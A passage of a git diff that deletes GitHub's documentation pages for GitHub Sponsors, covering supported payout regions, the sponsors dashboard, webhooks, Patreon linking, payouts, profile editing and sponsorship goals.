Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines). Payments to sponsored organizations and payments from organizations are not eligible for {% data variables.product.prodname_matching_fund %}. - -To be eligible for the {% data variables.product.prodname_matching_fund %}, you must create a profile that will attract a community that will sustain you for the long term. For more information about creating a strong profile, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors). - -Donations between sponsored developers will not be matched. - -{% data reusables.sponsors.legal-additional-terms %} - -## Supported regions for {% data variables.product.prodname_sponsors %} - -Anyone in any region can sponsor eligible maintainers, but you must reside in a supported region to receive funds. - -
    -
  • Albania
    • -
  • Antigua & Barbuda
    • -
  • Argentina
    • -
  • Armenia
    • -
  • Australia
    • -
  • Austria
    • -
  • Bahrain
    • -
  • Belgium
    • -
  • Bolivia
    • -
  • Bosnia & Herzegovina
    • -
  • Brazil
    • -
  • Bulgaria
    • -
  • Cambodia
    • -
  • Canada
    • -
  • Chile
    • -
  • Colombia
    • -
  • Costa Rica
    • -
  • Côte d'Ivoire
    • -
  • Croatia
    • -
  • Cyprus
    • -
  • Czech Republic
    • -
  • Denmark
    • -
  • Dominican Republic
    • -
  • Ecuador
    • -
  • Egypt
    • -
  • El Salvador
    • -
  • Estonia
    • -
  • Ethiopia
    • -
  • Finland
    • -
  • France
    • -
  • Gambia
    • -
  • Germany
    • -
  • Ghana
    • -
  • Gibraltar
    • -
  • Greece
    • -
  • Guatemala
    • -
  • Guyana
    • -
  • Hong Kong SAR
    • -
  • Hungary
    • -
  • Iceland
    • -
  • India
    • -
  • Indonesia
    • -
  • Ireland
    • -
  • Israel
    • -
  • Italy
    • -
  • Jamaica
    • -
  • Japan
    • -
  • Jordan
    • -
  • Kenya
    • -
  • Kuwait
    • -
  • Latvia
    • -
  • Liechtenstein
    • -
  • Lithuania
    • -
  • Luxembourg
    • -
  • Macao SAR
    • -
  • Madagascar
    • -
  • Malaysia
    • -
  • Malta
    • -
  • Mauritius
    • -
  • Mexico
    • -
  • Moldova
    • -
  • Mongolia
    • -
  • Morocco
    • -
  • Namibia
    • -
  • Netherlands
    • -
  • New Zealand
    • -
  • Nigeria
    • -
  • North Macedonia
    • -
  • Norway
    • -
  • Oman
    • -
  • Panama
    • -
  • Paraguay
    • -
  • Peru
    • -
  • Philippines
    • -
  • Poland
    • -
  • Portugal
    • -
  • Qatar
    • -
  • Romania
    • -
  • Rwanda
    • -
  • Saudi Arabia
    • -
  • Senegal
    • -
  • Serbia
    • -
  • Singapore
    • -
  • Slovakia
    • -
  • Slovenia
    • -
  • South Africa
    • -
  • South Korea
    • -
  • Spain
    • -
  • Sri Lanka
    • -
  • St. Lucia
    • -
  • Sweden
    • -
  • Switzerland
    • -
  • Tanzania
    • -
  • Thailand
    • -
  • Trinidad & Tobago
    • -
  • Tunisia
    • -
  • Turkey
    • -
  • United Arab Emirates
    • -
  • United Kingdom
    • -
  • United States
    • -
  • Uruguay
    • -
  • Uzbekistan
    • -
  • Vietnam
    • -
- -## Sharing feedback about {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.feedback %} - -## Further reading - -* [AUTOTITLE](/sponsors/sponsoring-open-source-contributors) -* [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors) -* [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/navigating-your-sponsors-dashboard) -* [AUTOTITLE](/search-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor) -* [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor) -* [FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) on {% data variables.product.prodname_blog %} diff --git a/content/sponsors/getting-started-with-github-sponsors/index.md b/content/sponsors/getting-started-with-github-sponsors/index.md deleted file mode 100644 index b005a8d2e06e..000000000000 --- a/content/sponsors/getting-started-with-github-sponsors/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Getting started with GitHub Sponsors -intro: 'Learn about {% data variables.product.prodname_sponsors %} and how you can get involved as a sponsor or open source contributor.' -versions: - fpt: '*' - ghec: '*' -children: - - /about-github-sponsors - - /quickstart-for-finding-contributors-to-sponsor - - /navigating-your-sponsors-dashboard -shortTitle: Getting started ---- diff --git a/content/sponsors/getting-started-with-github-sponsors/navigating-your-sponsors-dashboard.md b/content/sponsors/getting-started-with-github-sponsors/navigating-your-sponsors-dashboard.md deleted file mode 100644 index d9f60585b563..000000000000 --- a/content/sponsors/getting-started-with-github-sponsors/navigating-your-sponsors-dashboard.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Navigating your Sponsors dashboard -intro: 'View {% data variables.product.prodname_sponsors %}-related activity from your Sponsors dashboard.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Open Source - - Fundamentals - - Sponsors - - Sponsors profile ---- -## About your Sponsors dashboard - -From your sponsors dashboard, you can view current and past sponsorships and dependencies, manage your recent invoices and sponsor settings, and create bulk sponsorships. - -## Viewing your sponsorships - -On your sponsorships page, you can display your current invoice balance, and see options to open a support ticket and create an invoice. - -You can also manage current sponsorships and view past sponsorships, and export your current and past sponsorships as a CSV file. - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **{% octicon "heart" aria-hidden="true" %} Your sponsorships**. - -## Viewing dependencies - -You can view dependencies that have an active sponsors profile, search for specific dependencies, view repositories your sponsors own or maintain, and see when your sponsors were last active. - -You can also export the list of dependencies as a CSV file. - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **{% octicon "package-dependencies" aria-hidden="true" %} Dependencies**. - -## Viewing bulk sponsorships - -You can create a bulk sponsorship from your organization's sponsorships page. - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **Bulk Sponsors**. - -## Viewing invoices - -You can manage your open and paid invoices from your sponsors dashboard. To be able to add funds to your balance, you must first create a new invoice. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice#creating-a-new-invoice). - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Invoices**. - -## Viewing settings - -You can view your sponsorship logs from your sponsoring settings page. - -You can also choose to attribute your paid sponsorships to another account by linking the accounts. - -### View your sponsorship logs - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Under "Sponsorship log", click **log**. - -### Link your sponsorships to another account - -{% data reusables.organizations.sponsors-dashboard %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. From the left sidebar, click **{% octicon "gear" aria-hidden="true" %} Settings**. -1. Select the **Linked account** dropdown and click the account to use. -1. Click **Link account** to confirm your selection. diff --git a/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md b/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md deleted file mode 100644 index ed2b011469ae..000000000000 --- a/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Quickstart for finding contributors to sponsor -intro: Learn some best practices for finding open source contributors to sponsor. -versions: - fpt: '*' - ghec: '*' -type: quick_start -topics: - - Open Source -shortTitle: Quickstart ---- - -## Explore projects you depend on - -As you consider where to find open source contributors to sponsor, consider starting at https://github.com/sponsors/community. - -If you're logged in, the sponsors results will start with public dependencies that your repositories depend on. - -Using the "Explore as," "Ecosystem," and "Filters" sidebar menus, you can also toggle which of your accounts to view dependencies for and further filter your results. - -## Explore whom others sponsor - -You can see whom a user or organization sponsors on their {% data variables.product.prodname_dotcom %} profile page. - -## Consider how you benefit from different contributions - -Consider whether you benefit from the work of open source contributions, such as: -* Documentation -* Design -* Translation -* Newsletters -* Code reviews -* Tutorials -* Mentoring -* Triaging issues and helping with project management -* Answering questions -* Event planning - -For more information on different types of open source contributions, see the [Open source guide](https://opensource.guide/how-to-contribute/#you-dont-have-to-contribute-code). - -You can check if contributors you've benefited from have {% data variables.product.prodname_sponsors %} profiles by using search at https://github.com/sponsors/community. - -## Search for a specific project or contributor - -At https://github.com/sponsors/community, you can search by ecosystem, most used, recently updated, and more. You can filter search results for your personal account or for organizations that you're a member of. - -## Next steps - -For more information on starting your sponsorship, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/about-sponsorships-fees-and-taxes) and [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github). diff --git a/content/sponsors/guides.md b/content/sponsors/guides.md deleted file mode 100644 index a58af27cca15..000000000000 --- a/content/sponsors/guides.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Guides for GitHub Sponsors -shortTitle: Guides -intro: 'Learn how to make the most of {% data variables.product.prodname_sponsors %}.' -allowTitleToDifferFromFilename: true -layout: product-guides -versions: - fpt: '*' - ghec: '*' -includeGuides: - - /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor - - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization - - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship - - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors - - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account - - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization - - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account ---- - diff --git a/content/sponsors/index.md b/content/sponsors/index.md deleted file mode 100644 index b2e8294b773b..000000000000 --- a/content/sponsors/index.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: "{% data variables.product.prodname_sponsors %} documentation" -shortTitle: "{% data variables.product.prodname_sponsors %}" -intro: 'Invest in the open source projects you depend on, support digital infrastructure, and make open source careers possible by sponsoring open source contributors and their projects. Build a {% data variables.product.prodname_sponsors %} profile and receive compensation for your open source work.' -introLinks: - quickstart: /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor -redirect_from: - - /categories/supporting-the-open-source-community-with-github-sponsors - - /github/supporting-the-open-source-community-with-github-sponsors -changelog: - label: sponsors -examples_source: data/product-examples/sponsors/user-examples.yml -featuredLinks: - startHere: - - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship - - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization - - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors - guideCards: - - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account - - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization - - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account - popular: - - /sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github - - /sponsors/getting-started-with-github-sponsors/about-github-sponsors - - /sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors - - /sponsors/sponsoring-open-source-contributors - - /sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors -layout: product-landing -versions: - fpt: '*' - ghec: '*' -communityRedirect: - name: Provide GitHub Feedback - href: 'https://github.com/orgs/community/discussions/categories/sponsors' -children: - - /getting-started-with-github-sponsors - - /sponsoring-open-source-contributors - - /receiving-sponsorships-through-github-sponsors - - /integrating-with-github-sponsors - - /guides ---- - - - - diff --git a/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md b/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md deleted file mode 100644 index 528f4d9d48fd..000000000000 --- a/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Configuring webhooks for events in your sponsored account -intro: You can configure webhooks to alert you when you receive new sponsorships or existing sponsors make changes to their sponsorships. -redirect_from: - - /github/supporting-the-open-source-community-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Webhooks - - Events - - Open Source -shortTitle: Webhooks for events ---- - -## About webhooks for events in your sponsored account - -To monitor changes to your sponsorships, such as cancellations at the end of a pay period, you can create webhooks for your sponsored user or organization account. When you set up a webhook for your sponsored account, you'll receive updates when sponsorships are created, edited, or deleted. For more information, see the [`sponsorship` webhook event](/webhooks-and-events/webhooks/webhook-events-and-payloads#sponsorship). - -## Adding a webhook - -You can add a webhook for your sponsorship. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-github-sponsors-webhook). - -## Editing a webhook - -You can edit a webhook to change any of the settings that were selected when the sponsorship webhook was initially created. For more information, see [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-github-sponsors-webhook). - -## Disabling a webhook - -You can disable or delete a webhook for your sponsorship. For more information, see [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-github-sponsors-webhook). - -## Viewing recent deliveries and responses - -You can view details about webhook deliveries that occurred in the past {% data variables.webhooks.retention %} days. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). diff --git a/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md b/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md deleted file mode 100644 index 7a68421d97a9..000000000000 --- a/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Getting started with the Sponsors GraphQL API -intro: 'Using the GraphQL API, you can build custom integrations to manage or review your sponsorships.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - GraphQL - - API -shortTitle: Sponsors GraphQL API ---- - -To get started with the GraphQL API, see [AUTOTITLE](/graphql/guides/introduction-to-graphql). - -You can find the details about the Sponsors GraphQL API in the reference docs. For more information, see [AUTOTITLE](/graphql/reference). We recommend using the GraphQL explorer to build your GraphQL calls. For more information, see [AUTOTITLE](/graphql/guides/using-the-explorer). - -## Known Issues - -The `createSponsorship` mutation currently does not work for one-time payments. [Reproduction steps and discussion here](https://github.com/orgs/community/discussions/138161) diff --git a/content/sponsors/integrating-with-github-sponsors/index.md b/content/sponsors/integrating-with-github-sponsors/index.md deleted file mode 100644 index 98648e4b7463..000000000000 --- a/content/sponsors/integrating-with-github-sponsors/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Integrating with GitHub Sponsors -intro: 'As an open source contributor, you can build custom tools to manage your GitHub sponsorships.' -versions: - fpt: '*' - ghec: '*' -children: - - /configuring-webhooks-for-events-in-your-sponsored-account - - /getting-started-with-the-sponsors-graphql-api -shortTitle: Integrate with GitHub Sponsors ---- - diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md deleted file mode 100644 index b1e7b97c99cd..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: About GitHub Sponsors for open source contributors -intro: 'If you provide value to an open source project, you can become a sponsored contributor to receive payments for your work.' -redirect_from: - - /articles/about-github-sponsors-for-sponsored-developers - - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors-for-sponsored-developers -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Open Source - - Fundamentals -shortTitle: Open source contributors ---- - -## Joining {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account). - -{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -After you join {% data variables.product.prodname_sponsors %}, you can add a sponsor button to the open source repository you contribute to, to increase the visibility of your {% data variables.product.prodname_sponsors %} profile and other funding platforms. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository). - -You can set a goal for your sponsorships. For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal). - -{% data reusables.sponsors.github-contact-applicants %} - -## Sponsorship tiers - -{% data reusables.sponsors.tier-details %} For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account), [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization), and [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers). - -It's best to set up a range of different sponsorship options, including monthly and one-time tiers, to make it easy for anyone to support your work. In particular, one-time payments allow people to reward your efforts without worrying about whether their finances will support a regular payment schedule. - -## Sponsorship payouts - -{% data reusables.sponsors.no-fees %} - -{% data reusables.sponsors.payout-info %} - -For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors). - -## Sharing feedback about {% data variables.product.prodname_sponsors %} - -{% data reusables.sponsors.feedback %} - -## Further reading - -* [FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) on {% data variables.product.prodname_blog %} diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md deleted file mode 100644 index 28dc48a7b371..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Contacting your sponsors -intro: You can send an email to your sponsors who have opted in to receive updates about your work. -redirect_from: - - /articles/contacting-your-sponsors - - /github/supporting-the-open-source-community-with-github-sponsors/contacting-your-sponsors -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Contacting sponsors ---- - -## About sponsorship updates - -Your sponsors can choose whether they receive email updates about your work. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship). - -For sponsored developer accounts, the update will come from your personal account's primary email address. If you've enabled email address privacy on your personal account, the update will come from `noreply@github.com` instead. For sponsored organizations, the update will come from the organization's `noreply@github.com` email address. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -## Contacting your sponsors - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -1. In the "Manage" section of the sidebar, click **Newsletters**. -1. To the right of "Email updates to your sponsors", click **Draft a new update**. -1. Optionally, to send your email to sponsors on specific tiers, click the **All sponsors** dropdown menu, then select one or more tiers. -1. Type a subject and message for your update. -{% data reusables.sponsors.publish-sponsor-update %} diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md deleted file mode 100644 index 8b2083d9d4da..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Disabling your GitHub Sponsors account -intro: 'If you no longer want to participate in {% data variables.product.prodname_sponsors %}, you can disable your {% data variables.product.prodname_sponsors %} account.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Disable your account ---- - -If you are receiving sponsorship payments, you'll need to contact GitHub Support to disable your {% data variables.product.prodname_sponsors %} account. - -If you don't have any sponsors, then you can disable your {% data variables.product.prodname_sponsors %} account on GitHub. - -If you decide to create a {% data variables.product.prodname_sponsors %} account again, you'll need to reapply. - -Alternatively, you can unpublish your sponsors profile and then republish the account without reapplying again. For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile). - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.settings-tab %} -1. In the "Disable {% data variables.product.prodname_sponsors %} account" section, click **Disable account**. -1. To confirm, click **Disable {% data variables.product.prodname_sponsors %} account**. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md deleted file mode 100644 index 655804009bd0..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Editing your profile details for GitHub Sponsors -intro: You can update the information that potential sponsors see about your work. -redirect_from: - - /articles/editing-your-sponsored-developer-profile - - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-sponsored-developer-profile - - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-profile-details-for-github-sponsors -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Sponsors profile - - Open Source -shortTitle: Edit profile details ---- - -## About sponsor profiles - -Your {% data variables.product.prodname_sponsors %} profile tells potential sponsors why they should support you. People see your sponsor profile when they click the **Sponsor** button on your profile. We recommend including the following information. - -* Open source work that you contribute to -* Why you are committed to open source development - -## Editing your profile details - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -{% data reusables.sponsors.short-bio %} -{% data reusables.sponsors.add-introduction %} -{% data reusables.sponsors.edit-featured-work %} -{% data reusables.sponsors.opt-in-to-being-featured %} -{% data reusables.sponsors.save-profile %} - -## Selecting Featured Sponsors - -Featured sponsors allows you to spotlight your sponsors. You can opt to automatically display your top 10 sponsors, manually select 10 sponsors, or feature no sponsors. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -1. Under "Featured Sponsors", select the checkbox for the option to display your featured sponsors automatically or manually. - - * If opting to automatically feature your top 10 sponsors, select the dial button and click **Update profile**. - - * To manually add sponsors, select the **Manually add my featured sponsors** option and click **Add or remove**. - - * A pop up window will display allowing you to search your sponsors. Click on the desired sponsors and click **Save**. - -{% data reusables.sponsors.save-profile %} - -## Sharing your profile - -Let others know about your Sponsors profile by sharing it out on social media or embedding it on your personal website. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -1. From the left sidebar, click **Overview**. -1. Under "Share it out", select the option to share your Sponsors profile on social media or embed it on a website. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/enabling-sponsorships-through-patreon.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/enabling-sponsorships-through-patreon.md deleted file mode 100644 index 60b0521604e6..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/enabling-sponsorships-through-patreon.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Enabling sponsorships through Patreon -intro: 'You can connect your Patreon and {% data variables.product.prodname_dotcom %} accounts to receive {% data variables.product.prodname_sponsors %} sponsorships through Patreon.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Enable Patreon sponsorships ---- - -## Prerequisites - -* Create a Patreon account. For more information, see [Start my creator page on Patreon](https://support.patreon.com/hc/en-us/articles/115002958403-Start-my-creator-page-on-Patreon) in the Patreon documentation. -* Set up a paid membership tier on Patreon. For more information, see [How to set up paid tiers and benefits](https://support.patreon.com/hc/en-us/articles/203913559-How-to-set-up-paid-tiers-and-benefits) in the Patreon documentation. -* Publish your Patreon creator page and tiers. -* Link your Patreon account to your {% data variables.product.prodname_dotcom %} account. For more information, see [Linking your Patreon account to your {% data variables.product.prodname_dotcom %} account](#linking-your-patreon-account-to-your-github-account). -* Set up {% data variables.product.prodname_sponsors %} for your personal account or for your organization. For more information, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) or [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). - -## Linking your Patreon account to your {% data variables.product.prodname_dotcom %} account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -{% data reusables.sponsors.accept-payments-through-patreon %} -1. Click **Allow people to pay you through Patreon**. Then click **Update Patreon preferences**. - -## Linking your Patreon account to your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.sponsors.accept-payments-through-patreon %} -1. Click **Allow people to pay you through Patreon**. Then click **Update Patreon preferences**. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md deleted file mode 100644 index 78f531c7c853..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Receiving sponsorships through GitHub Sponsors -shortTitle: Receiving sponsorships -intro: 'You or your organization can become a sponsored open source contributor to receive payments for your work, update your sponsorship details, and view and contact your sponsors.' -redirect_from: - - /articles/receiving-sponsorships-as-a-sponsored-developer - - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-as-a-sponsored-developer - - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-through-github-sponsors -versions: - fpt: '*' - ghec: '*' -children: - - /about-github-sponsors-for-open-source-contributors - - /setting-up-github-sponsors-for-your-personal-account - - /setting-up-github-sponsors-for-your-organization - - /enabling-sponsorships-through-patreon - - /using-a-fiscal-host-to-receive-github-sponsors-payouts - - /editing-your-profile-details-for-github-sponsors - - /managing-your-sponsorship-goal - - /managing-your-sponsorship-tiers - - /viewing-your-sponsors-and-sponsorships - - /managing-your-payouts-from-github-sponsors - - /contacting-your-sponsors - - /tax-information-for-github-sponsors - - /unlinking-your-patreon-account-from-your-github-sponsors-profile - - /disabling-your-github-sponsors-account - - /unpublishing-your-github-sponsors-profile ---- diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md deleted file mode 100644 index e472690bdac3..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Managing your payouts from GitHub Sponsors -intro: 'You can view information about past and future payouts from {% data variables.product.prodname_sponsors %} and edit your bank information.' -redirect_from: - - /articles/managing-your-payouts-from-github-sponsors - - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-payouts-from-github-sponsors -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Sponsors payments - - Open Source -shortTitle: Manage payouts ---- - -## About payouts from {% data variables.product.prodname_sponsors %} - -You can view and manage your payouts from {% data variables.product.prodname_sponsors %}. For more information about payouts, see [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors#sponsorship-payouts). - -If you use a fiscal host to receive payouts, you can view your current payout and next estimated payout but you cannot edit your payout information except by contacting support. - -{% data reusables.sponsors.payout-info %} - -## Viewing and editing payout information - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-payouts-tab %} -1. Under "Payout overview", view your last payout amount and estimated next payout amount. -{% data reusables.sponsors.edit-bank-information %} -1. If you use a Stripe Connect account to receive payouts, under "Payout receipts", you can export payout information as PDF files. diff --git a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md b/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md deleted file mode 100644 index 9a3b623853e7..000000000000 --- a/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Managing your sponsorship goal -intro: You can set a goal for your sponsored developer or sponsored organization account to help the community understand the impact of sponsoring you. -redirect_from: - - /github/supporting-the-open-source-community-with-github-sponsors/manage-your-sponsorship-goal - - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-goal -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors profile -shortTitle: Manage sponsor goals ---- - -## About sponsorship goals - -You can set a funding goal for your sponsored account and share the goal with your community. Goals help you understand the impact you have in the open source community and build up your presence in the {% data variables.product.prodname_sponsors %} program. - -Your goal can set a target for the number of sponsors you want to have or the amount of money you want to earn each month. You can only set one goal up at a time. After you reach a goal, you can set another goal. - -## Setting a goal - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-your-goals-tab %} -{% data reusables.sponsors.set-a-goal %} -{% data reusables.sponsors.select-goal-type %} -{% data reusables.sponsors.publish-goal %} - -## Editing a goal - -When you edit a goal, you can't choose a goal you've already achieved. For example, if you already have 5 sponsors, you can't edit your goal so that you're aiming for 4 sponsors. - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-your-goals-tab %} -{% data reusables.sponsors.edit-goal %} -{% data reusables.sponsors.select-goal-type %} -{% data reusables.sponsors.publish-goal %} - -## Retiring a goal - -After you retire a goal, you won't be able to reactivate the goal. You must create a new goal instead. - -{% data 